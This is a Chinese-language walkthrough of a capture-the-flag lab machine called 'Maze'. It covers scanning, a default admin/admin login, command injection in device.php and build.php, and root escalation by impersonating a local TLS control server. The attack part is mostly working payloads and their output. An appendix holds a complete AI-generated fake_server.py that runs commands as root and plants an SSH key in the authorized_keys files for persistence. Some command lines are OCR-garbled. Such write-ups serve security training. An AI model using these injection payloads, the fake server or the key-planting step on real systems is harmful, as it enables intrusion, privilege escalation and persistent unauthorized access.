

1、信息收集

主机发现

目标主机为 192.168.41.8。先使用 ping 确认网络连通性，3 个 ICMP 请求均收到响应，说明靶机处于在线状态。

```
(kali㉿kali)-[~]
└─$ ping -c 4 192.168.41.8
64 bytes from 192.168.41.8: icmp_seq=1 ttl=128 time=1.64 ms
64 bytes from 192.168.41.8: icmp_seq=2 ttl=128 time=1.49 ms
64 bytes from 192.168.41.8: icmp_seq=3 ttl=128 time=2.29 ms
--- 192.168.41.8 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss
```

端口扫描

接着使用 RustScan 做快速端口扫描，发现 22、25、80 和 7000 四个 TCP 端口开放。随后再用 Nmap 对这几个端口进行服务与版本识别。

```
Open 192.168.41.8:25
Open 192.168.41.8:22
Open 192.168.41.8:80
Open 192.168.41.8:7000

PORT      STATE SERVICE
22/tcp    open  ssh
25/tcp    open  smtp
80/tcp    open  http
7000/tcp  open  afs3-fileserver
```

进一步使用 Nmap 获取服务指纹，并用 Dirsearch 对 Web 目录进行枚举。

```
(kali㉿kali)-[~]
└─$ nmap -sV -sC -O -p22,25,80,7000 192.168.41.8
Starting Nmap 7.98 ( https://nmap.org ) at 2026-09-07 19:59 -0400
Nmap scan report for 192.168.41.8
Host is up (0.0023s latency).

PORT      STATE SERVICE          VERSION
22/tcp    open  ssh              OpenSSH 10.0p2 Debian 7+deb13u4 (protocol 2.0)
25/tcp    open  tcpwrapped
|_smtp-commands: Couldn't establish connection on port 25
80/tcp    open  http             nginx
|_http-cookie-flags:
|   /:
|   PHPSESSID:
|   httponly flag not set
|_http-title: Wirelesser \xE8\xAE\xBE\xE5\xA4\x87\xE7\xAE\xA1\xE7\x90\x86\xE5\xB9\xB3\xE5\x8F\xB0 - \xE7\x99\xBB\xE5\xBD\x95
7000/tcp  open  ssl/afs3-fileserver?
|_irc-info: Unable to open connection
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: WAP|general purpose
Running: Actiontec embedded, Linux 2.4.X
[20:10:49] 403 - 548B - /.ht_wsr.txt
[20:10:49] 403 - 548B - /.htaccess.bak1
[20:10:49] 403 - 548B - /.htaccess.orig
[20:10:49] 403 - 548B - /.htaccess.sample
[20:10:49] 403 - 548B - /.htaccess.save
[20:10:49] 403 - 548B - /.htaccess_extra
[20:10:49] 403 - 548B - /.htaccess_orig
[20:10:49] 403 - 548B - /.htaccess_sc
[20:10:49] 403 - 548B - /.htaccessBAK
[20:10:49] 403 - 548B - /.htaccessOLD
```

```
[20:10:49] 403 - 548B - /.htaccessOLD2
[20:10:49] 403 - 548B - /.htm
[20:10:49] 403 - 548B - /.html
[20:10:49] 403 - 548B - /.htpasswd_test
[20:10:49] 403 - 548B - /.htpasswd
[20:10:49] 403 - 548B - /.httr-oauth
[20:11:03] 302 - 0B - /dashboard.php -> index.php
```

目录扫描结果主要是 403 响应和登录页面跳转，没有发现新的可用入口。

2、Web 探测

访问 80 端口后进入 Wirelesser 设备管理平台登录页。先尝试了常见的 SQL 注入，但页面始终只返回登录失败提示，没有出现明显的注入特征。随后使用 Burp Suite 对常见口令进行测试，确认 admin/admin 可以成功登录。

登录后，我重点看了下发命令功能。页面会根据输入的 IP 执行 ping，因此继续测试 ip 参数是否存在命令拼接问题。

使用 127.0.0.1;id 时没有得到预期回显，继续尝试换行分隔后，发现 %0a 可以触发后续命令执行，并以 www-data 身份返回结果。

```
└─(kali㉿kali)-[~]
└─$ curl ... 'device.php?ip=127.0.0.1%0aid'
PING 127.0.0.1 ...
uid=33(www-data) gid=33(www-data) groups=33(www-data)

└─$ curl -b /tmp/cj 'http://192.168.41.8/device.php?ip=x%0apwd'
/var/www/html

└─$ curl -b /tmp/cj 'http://192.168.41.8/device.php?ip=x%0auname%20-a'
Linux Maze 7.1.5-2-liquorix-amd64 ... x86_64 GNU/Linux

root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
kaishui:x:1000:1000:,,,:/home/kaishui:/bin/bash
```

获取 User Flag

确认命令执行后，继续在当前权限下查看 Web 目录。/var/www/user.txt 可以直接读取，由此得到 User Flag。

```
└─(kali㉿kali)-[~]
└─$ curl -s -b /tmp/cj 'http://192.168.41.8/device.php?ip=x%0acat%09/var/www/user.txt' | sed -n
'<pre>/,</pre>/p'
<pre>flag{user-2c3eefe33629fcb5c4794716161b3104}
</pre>
```

3、提权

系统枚举

进入提权阶段后，先查看系统版本、进程和监听端口。主机名为 Maze，内核为 Linux 7.1.5-2-liquorix-amd64。进程列表中有多项 rctl 相关程序以 root 身份运行

```
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

```
Linux Maze 7.1.5-2-liquorix-amd64 #1 ZEN SMP PREEMPT liquorix 7.1-7.1~trixie x86_64 GNU/Linux
```

```
root 409 ... /bin/sh /usr/local/sbin/rctlcli-super.sh
root 416 ... /usr/sbin/rctlcli --class=ap-01 --wan=enp0s3 --daemon
root 425 ... /usr/sbin/rctlcli --class=ap-01 --wan=enp0s3 --daemon
root 426 ... tmux new-session -d -s rctlser /usr/sbin/rctlser
root 428 ... /usr/sbin/rctlser
```

```
(kali㉿ kali)-[~]
$ curl -s -b /tmp/cj 'http://192.168.41.8/device.php?ip=x%0aps%09aux' | sed
-n '/<pre>/,/<\/pre>/p'
<pre>USER          PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMA
ND
root             1  0.0  0.7  23584 14552 ?        Ss   19:24   0:01 /sbin/init
root             2  0.0  0.0      0     0 ?        S    19:24   0:00 [kthreadd]
root             3  0.0  0.0      0     0 ?        S    19:24   0:00 [pool_work
queue_release]
root             4  0.0  0.0      0     0 ?        I<    19:24   0:00 [kworker
r/R-rcu_gp]
root             5  0.0  0.0      0     0 ?        I<    19:24   0:00 [kworker
r/R-sync_wq]
root             6  0.0  0.0      0     0 ?        I<    19:24   0:00 [kworker
r/R-kvfree_rcu_reclaim]
root             7  0.0  0.0      0     0 ?        I<    19:24   0:00 [kworker
r/R-slab_flushwq]
root             8  0.0  0.0      0     0 ?        I<    19:24   0:00 [kworker
r/R-netns]
root            13  0.0  0.0      0     0 ?        I<    19:24   0:00 [kworker
r/R-mm_percpu_wq]
root            15  0.3  0.0      0     0 ?        S    19:24   0:45 [ksoftirqd
/0]
root            16  0.0  0.0      0     0 ?        I    19:24   0:00 [rcu_preem
pt]
root            17  0.0  0.0      0     0 ?        S    19:24   0:00 [rcuog/0]
root            18  0.0  0.0      0     0 ?        S    19:24   0:00 [rcuop/0]
root            19  0.0  0.0      0     0 ?        S    19:24   0:00 [rcu_exp_p
ar_gp_kthread_worker/0]
root            20  0.0  0.0      0     0 ?        S    19:24   0:00 [rcu_exp_g
p_kthread_worker]
root            21  0.0  0.0      0     0 ?        S    19:24   0:00 [migration
/0]
root            22  0.0  0.0      0     0 ?        S    19:24   0:00 [kprobe-op
timizer]
root            23  0.0  0.0      0     0 ?        S    19:24   0:00 [idle_inje
ct/0]
root            24  0.0  0.0      0     0 ?        S    19:24   0:00 [cpuhp/0]
root            26  0.0  0.0      0     0 ?        S    19:24   0:00 [kdevtmpfs
]
root            27  0.0  0.0      0     0 ?        I<    19:24   0:00 [kworker
r/R-inet_frag_wq]
root            28  0.0  0.0      0     0 ?        I    19:24   0:00 [rcu_tasks
_kthread]
root            29  0.0  0.0      0     0 ?        I    19:24   0:00 [rcu_tasks
_rude_kthread]
root            30  0.0  0.0      0     0 ?        S    19:24   0:00 [khungtask
d]
root            31  0.0  0.0      0     0 ?        S    19:24   0:00 [oom_reape
```

图 1 进程列表中以 root 身份运行的 rctl 相关组件

我把进程、端口和账户枚举结果整理后交给 AI 分析。以下内容 AI 生成：

- rctlcli 及配套的 rctlcli-super.sh 均以 root 身份运行，可以判断它们属于远程控制客户端相关组件。
- AI 初步判断当时 7000 端口无人监听，并据此认为 rctlcli 更像主动外连型客户端。
- SUID 枚举中虽然能看到 exim4、mount 等文件，但没有发现可以直接利用的条件。

账户信息中除系统账户外，主要看到普通用户 kaishui（uid 1000，shell 为 /bin/bash）。

```
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
kaishui:x:1000:1000:::/home/kaishui:/bin/bash
```

rctl 组件线索

继续查看 /opt/rctl，发现目录中保留了 client、server、lib、include、README 等完整工程文件。结合前面的 root 进程，这一目录成为后续分析的关键。

```
/opt/rctl
├── client/
├── include/
├── lib/
├── server/
├── README
├── Makefile
└── srctl
```

结合 /opt/rctl 中的源码，AI 进一步给出了下面的分析：

1. 服务器地址列表中 127.0.0.1:7000 位于首位，rctlcli 会优先尝试连接本机控制端。
2. rctlcli 本身以 root 身份运行，收到服务端指令后会通过 popen 执行，并把结果回传。
3. TLS 客户端缺少严格的服务端证书校验，因此无法可靠确认对端身份。
4. 这些条件组合后，低权限本地进程如果能够占用本机 7000 端口，就可能影响 root 权限客户端的执行流程。

```
static char serverip[][50] = {
    "127.0.0.1", "rctl.shanlire.net", "shanlire.net"
};
static uint16_t port[] = { 7000 };
```

```
started pid=2162
LISTENING 127.0.0.1:7000
CONN from ('127.0.0.1', 59536)
REGISTERED: b"ap-01\x00...\x08\x00'\x19\x8c\xba"
```

```
(kali㉿ kali)-[~]
$ curl -s -b /tmp/cj 'http://192.168.41.8/device.php?ip=x%0als%09-la%09/var'


```
>total 24
drwxr-xr-x 2 www-data www-data 4096 Aug 7 23:08 .
drwxr-xr-x 4 www-data www-data 4096 Aug 7 23:03 ..
-rw-r--r-- 1 www-data www-data 923 Aug 7 23:08 build.php
-rw-r--r-- 1 www-data www-data 1559 Aug 7 23:02 dashboard.php
-rw-r--r-- 1 www-data www-data 1264 Aug 7 23:08 device.php
-rw-r--r-- 1 www-data www-data 1437 Aug 7 23:02 index.php
</pre>
```


```

build.php 参数分析

继续查看 Web 目录时发现 build.php。结合页面源码可以看到，pkg 参数会直接参与 shell_exec() 的命令拼接，缺少有效的输入限制。

```

(kali@kali)-[~]
└─$ curl -s -b /tmp/cj 'http://192.168.41.8/device.php?ip=x%0acat%09/var/www/
<pre>&lt;?php
session_start();
if (empty($_SESSION['login'])) { header('Location: index.php&q

$pkg = isset($_GET['pkg']) ? $_GET['pkg'] : '';
$out = '';
if ($pkg !== '') {
    $out = shell_exec('tar czf /tmp/{$pkg}.tar.gz /var/www/firmware 2&gt
}
?&gt;
&lt;!DOCTYPE html&gt;
&lt;html&gt;
&lt;head&gt;
&lt;meta charset='utf-8'&gt;
&lt;title&gt;固件构建 - Wirelesser 设备管理平台&lt;/title&gt;
&lt;style&gt;
body { background:#f0f4f8; font-family:SimSun,serif; margin:20px; }
.wrap { background:#fff; border:1px solid #c8d2dc; padding:20px; }
input { padding:6px; border:1px solid #a8b8c8; }
pre { background:#222; color:#7cf87c; padding:10px; }
&lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;div class='wrap'&gt;
&lt;h2&gt;固件包构建&lt;/h2&gt;
&lt;form method='get'&gt;
固件版本号: &lt;input type='text' name='pkg' size='3'
&lt;input type='submit' value='生成'&gt;
&lt;/form&gt;
&lt;pre&gt;&lt;?php echo htmlspecialchars($out); ?&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/body&gt;
&lt;/html&gt;
</pre>

```

图 3 build.php 源码片段

随后在实验环境中生成自签名证书，为后面的本地 TLS 服务端做准备。

```
(kali㉿ kali)-[~]
$ curl -s -b /tmp/cj -G --data-urlencode "pkg=x;openssl req -x509 -newkey r
sa:2048 -nodes -keyout /tmp/k.pem -out /tmp/c.pem -days 30 -subj /CN=fake #"
http://192.168.41.8/build.php
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>固件构建 - Wirelesser 设备管理平台</title>
<style>
body { background:#f0f4f8; font-family:SimSun,serif; margin:20px; }
.wrap { background:#fff; border:1px solid #c8d2dc; padding:20px; }
input { padding:6px; border:1px solid #a8b8c8; }
pre { background:#222; color:#7cf87c; padding:10px; }
</style>
</head>
<body>
<div class="wrap">
<h2>固件包构建</h2>
<form method="get">
固件版本号: <input type="text" name="pkg" size="30" value="x;openssl req -x50
9 -newkey rsa:2048 -nodes -keyout /tmp/k.pem -out /tmp/c.pem -days 30 -subj /
CN=fake #">
<input type="submit" value="生成">
</form>
<pre></pre>
</div>
</body>
</html>

(kali㉿ kali)-[~]
$
```

ease support MobaXterm by subscribing to the professional edition here: <https://mobaxterm.mobatek.i>

图 4 生成自签名证书的实际操作记录

伪造服务端脚本由 AI 辅助生成，完整代码放在文档末尾；正文这里只保留实际执行过的步骤和结果。

投放脚本（Base64 编码传输）

```
B64=$(base64 -w0 ~/fake_server.py)
curl -s -b /tmp/cj -G --data-urlencode "pkg=x;echo $B64 | base64 -d >/tmp/s.py #"
http://192.168.41.8/build.php
```



```
curl -s -b /tmp/cj 'http://192.168.41.8/device.php?ip=x%0acat%09/tmp/s.log' | sed -n '/<pre>/,/<\n/pre>/p'
```

```
[kali@kali ~]$ sleep 8
curl -s -b /tmp/cj 'http://192.168.41.8/device.php?ip=x%0acat%09/tmp/s.log' |
sed -n '/<pre>/,/</pre>/p'
<pre>started pid=2162
LISTENING 127.0.0.1:7000
CONN from (&#039;127.0.0.1&#039;; 59536)
REGISTERED: b&quot;ap-01&x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&#039;;x19
\&c&xba&qout;
== CMD: id
uid=0(root) gid=0(root) groups=0(root)

== CMD: uname -a
Linux Maze 7.1.5-2-liquorix-amd64 #1 ZEN SMP PREEMPT liquorix 7.1.7-1-trixie
(2026-07-31) x86_64 GNU/Linux

== CMD: hostname
Maze

== CMD: ls -la /root
total 36
drwx----- 4 root root 4096 Aug 7 23:06 .
drwxr-xr-x 18 root root 4096 Aug 1 05:48 ..
lrwxrwxrwx 1 root root 9 Aug 7 23:05 .bash_history -&gt; /dev/null
-rw-r--r-- 1 root root 607 Mar 2 2026 .bashrc
-rw----- 1 root root 20 Jul 18 23:59 .lessht
drwxr-xr-x 3 root root 4096 Apr 25 06:38 .local
-rw-r--r-- 1 root root 132 Mar 2 2026 .profile
-rw----- 1 root root 44 Aug 7 22:47 root.txt
-rw-r--r-- 1 root root 21 Aug 7 23:06 r.txt
drwx----- 2 root root 4096 May 15 18:38 .ssh

== CMD: cat /root/root.txt
flag{root-b1d0dfd4ace568514f5285ce1a0cced0}

== CMD: ls -la /home/kaishui
total 24
drwx----- 3 kaishui kaishui 4096 Sep 7 08:22 .
drwxr-xr-x 3 root root 4096 Aug 7 23:07 ..
-rw-r--r-- 1 kaishui kaishui 220 Aug 7 23:07 .bash_logout
-rw-r--r-- 1 kaishui kaishui 3526 Aug 7 23:07 .bashrc
-rw-r--r-- 1 kaishui kaishui 807 Aug 7 23:07 .profile
drwx----- 2 kaishui kaishui 4096 Sep 7 08:22 .ssh

== CMD: cat /var/www/user.txt
flag{user-2c3eeefe33629fcb5c479471616b1304}
```

图 7 rctlcli 连接后以 root 权限执行的日志结果

从日志可以看到 rctlcli 已连接到本地服务端，id 返回 uid=0(root)，同时能够读取 /root/root.txt 和 /var/www/user.txt。至此，提权链路得到验证。

附录：AI 生成的 fake_server.py

```
import socket, ssl, threading, time, os

CERT = "/tmp/c.pem"      # 5.1 生成的自签证书
KEY = "/tmp/k.pem"
LOG = "/tmp/s.log"
SENT = "/tmp/.sent"      # 哨兵:命令只跑一次,防 rctlcli 重连重复执行
PUB = "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMJK/K9zKv43iDQ2S13LtSY37xCMIduh8NtZVIkPv//7 kali@kali" # 写入 authorized_keys

CMDS = [
    "id",
    "uname -a",
    "hostname",
    "ls -la /root",
    "cat /root/root.txt",
    "ls -la /home/kaishui",
    "cat /var/www/user.txt",
]

if "你的公钥" not in PUB:      # PUB 已替换为真实公钥才执行持久化,防止占位符写垃圾
    CMDS += [
        # 持久化:给自己写 SSH 公钥(root + kaishui 双保险)
        "mkdir -p /root/.ssh; echo '" + PUB + "' >> /root/.ssh/authorized_keys; chmod 700 /root/.ssh; chmod 600 /root/.ssh/authorized_keys",
        "mkdir -p /home/kaishui/.ssh; echo '" + PUB + "' >> /home/kaishui/.ssh/authorized_keys; chmod 700 /home/kaishui/.ssh; chmod 600 /home/kaishui/.ssh/authorized_keys; chown -R kaishui:kaishui /home/kaishui/.ssh",
    ]

def log(m):
    try:
        with open(LOG, "a") as f: f.write(str(m) + "\n")
    except Exception: pass

def handle(c):
    try:
        ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
        ctx.minimum_version = ssl.TLSVersion.TLSv1_2
        ctx.load_cert_chain(CERT, KEY)      # 自签即可,客户端不校验
        s = ctx.wrap_socket(c, server_side=True)
        s.settimeout(1)
        reg = b""
        while len(reg) < 39:
            d = s.recv(39 - len(reg))      # reg_t = class[33] + mac[6]
            if not d: return
            reg += d
        log("REGISTERED: " + repr(reg))
        if os.path.exists(SENT):
            time.sleep(3600); return      # 已执行过,挂住连接即可
        open(SENT, "w").write("1")
        for cmd in CMDS:
            try:
                s.sendall(cmd.encode())      # 一条命令一次 send
                out = b""
                while True:
                    try: d = s.recv(8192)
                    except socket.timeout: break # 超时视为该命令输出结束
                    if not d: break
                    out += d
                log("== CMD: " + cmd + "\n" + out.decode(errors="replace"))
            except Exception as e:
                log("cmd err: " + str(e)); return
        time.sleep(3600)      # 挂住连接,避免客户端反复重连
    except Exception as e:
        log("ERR: " + str(e))

def main():
    log("started pid=%d" % os.getpid())
    while True:
        try:
            srv = socket.socket()
            srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
            srv.bind(("127.0.0.1", 7000))      # www-data 可绑 >1024 端口
            srv.listen(16)
            log("LISTENING 127.0.0.1:7000")
            while True:
                c, a = srv.accept()
                log("CONN from " + str(a))
                threading.Thread(target=handle, args=(c,), daemon=True).start()
        except Exception as e:
            log("SRV ERR: " + str(e)); time.sleep(2)

main()
```